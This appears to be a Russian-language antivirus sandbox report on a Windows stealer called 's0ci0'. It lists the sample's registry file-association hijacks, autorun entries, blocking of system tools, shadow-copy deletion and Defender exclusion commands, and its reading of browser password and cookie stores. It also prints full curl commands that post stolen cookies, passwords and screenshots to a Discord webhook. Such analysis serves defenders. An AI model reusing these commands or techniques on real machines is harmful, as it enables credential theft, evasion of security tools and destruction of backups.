Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsCryptoService' = '<Полный путь к файлу>'
- [HKCU\Software\Classes\cmdfile\shell\open\command] '' = '"blocked"'
- [HKCU\Software\Classes\batfile\shell\open\command] '' = '"blocked"'
- [HKCU\Software\Classes\mshta_file\shell\open\command] '' = '"blocked"'
- [HKCU\Software\Classes\Microsoft.PowerShellScript.1\shell\open\command] '' = '"blocked"'
- [HKCU\Software\Classes\*\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\exefile\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\lnkfile\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\Folder\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\Directory\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\Drive\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\Applications\Explorer.exe\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\http\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\https\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\ftp\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.txt\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.doc\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.docx\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.xls\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.xlsx\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.ppt\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.pptx\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.pdf\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.jpg\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.jpeg\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.png\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.gif\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.bmp\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.tiff\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.svg\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.mp3\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.mp4\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.avi\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.mkv\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.mov\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.wav\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.flac\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.zip\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.rar\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.7z\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.tar\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.gz\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.iso\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.bat\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.cmd\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.ps1\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.vbs\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.js\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.wsh\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.html\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.htm\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.csv\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.xml\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.json\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.css\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.ini\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.cfg\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.log\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.rtf\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.odt\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.lnk\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.url\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.appref-ms\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.msi\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.msc\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.cpl\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.scr\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.com\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.pif\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.docm\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.xlsm\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.pptm\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.db\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.sqlite\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.mdb\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.exe\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.dll\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.sys\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.reg\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.py\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.rb\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.pl\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.php\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.java\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.c\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
- [HKCU\Software\Classes\.cpp\shell\open\command] '' = '"<Полный путь к файлу>" "%1"'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.lnk
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
изменяет следующие системные настройки:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewContextMenu' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuMorePrograms' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoChangeStartMenu' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoTrayContextMenu' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogOff' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
удаляет теневые копии разделов.
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Текущая директория>'" 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionProcess '<Полный путь к файлу>'" 2>nul
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM Taskmgr.exe
- '<SYSTEM32>\taskkill.exe' /F /IM regedit.exe
- '<SYSTEM32>\taskkill.exe' /F /IM cmd.exe
- '<SYSTEM32>\taskkill.exe' /F /IM rstrui.exe
- '<SYSTEM32>\taskkill.exe' /F /IM powershell.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msiexec.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msconfig.exe
- '<SYSTEM32>\taskkill.exe' /F /IM pwsh.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\s0ci0_tmp_ck.db
- %TEMP%\s0ci0_tmp_pw.db
- %TEMP%\s0ci0_tmp_ff.db
- %TEMP%\s0ci0_tmp_ff.db-shm
- %TEMP%\s0ci0_tmp_hist.db
- %TEMP%\s0ci0\history\browsing_history.txt
- %TEMP%\s0ci0_tmp_ffhist.db
- %TEMP%\s0ci0_tmp_ffhist.db-shm
- %TEMP%\s0ci0_e.json
- %TEMP%\s0ci0_emb.bat
- nul
- %TEMP%\s0ci0\screenshot.png
- %TEMP%\s0ci0_f.bat
- %TEMP%\s0ci0_loot.zip
Присваивает атрибут 'скрытый' для следующих файлов
- <Полный путь к файлу>
Удаляет файлы, которые сам же создал
- %TEMP%\s0ci0_tmp_ck.db
- %TEMP%\s0ci0_tmp_pw.db
- %TEMP%\s0ci0_tmp_ff.db
- %TEMP%\s0ci0_tmp_hist.db
- %TEMP%\s0ci0_tmp_ffhist.db
- %TEMP%\s0ci0_loot.zip
- %TEMP%\s0ci0\history\browsing_history.txt
- %TEMP%\s0ci0\screenshot.png
Подменяет следующие файлы
- %TEMP%\s0ci0_tmp_pw.db
- %TEMP%\s0ci0_tmp_hist.db
Сетевая активность
Подключается к
- 'ap#.#pify.org':443
- 'di##ord.com':443
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?e9##############
Другие
- 'ap#.#pify.org':443
- 'di##ord.com':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK di##ord.com
Другое
Ищет следующие окна
- ClassName: 'S0ci0Decrypt' WindowName: ''
- ClassName: 'Shell_SecondaryTrayWnd' WindowName: ''
- ClassName: 'Windows.UI.Core.CoreWindow' WindowName: ''
- ClassName: 'XamlExplorerHostWindow' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c wmic shadowcopy delete 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "<Полный путь к файлу>" 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM Taskmgr.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM regedit.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM msconfig.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM rstrui.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM cmd.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM powershell.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM pwsh.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c taskkill /F /IM msiexec.exe 2>nul (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c systeminfo 2>nul | find "Boot Mode" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s https://api.ipify.org (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +h +s "<Полный путь к файлу>"
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\find.exe' "Boot Mode"
- '<SYSTEM32>\cmd.exe' /c %TEMP%\s0ci0_emb.bat (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549105974860710131/tvSIJgwGvV260FGiuxorS9wu3sJ9ci_YfUQ6-BtkY11-dmaDAbbDNyzKTiB4mK8DNBgr" -H "Content-Type: application/json" -d @%TEMP%\s0ci0_e.jso...
- '<SYSTEM32>\cmd.exe' /c %TEMP%\s0ci0_f.bat (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549105974860710131/tvSIJgwGvV260FGiuxorS9wu3sJ9ci_YfUQ6-BtkY11-dmaDAbbDNyzKTiB4mK8DNBgr" -F "content=Screenshot" -F "files[0]=@%TEMP%\s0ci0\screens...
- '<SYSTEM32>\cmd.exe' /c "<SYSTEM32>\curl.exe" -s -o "%TEMP%\s0ci0\camera.jpg" http://127.0.0.1:8080/snapshot 2>&1 (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Compress-Archive -Path '%TEMP%\s0ci0\*' -DestinationPath '%TEMP%\s0ci0_loot.zip' -Force" (со скрытым окном)
- '<SYSTEM32>\curl.exe' -s -X POST "https://discord.com/api/webhooks/1549105974860710131/tvSIJgwGvV260FGiuxorS9wu3sJ9ci_YfUQ6-BtkY11-dmaDAbbDNyzKTiB4mK8DNBgr" -F "content=All cookies + passwords + loot" -F "files[0]=@...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Текущая директория>'" 2>nul (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionProcess '<Полный путь к файлу>'" 2>nul (со скрытым окном)
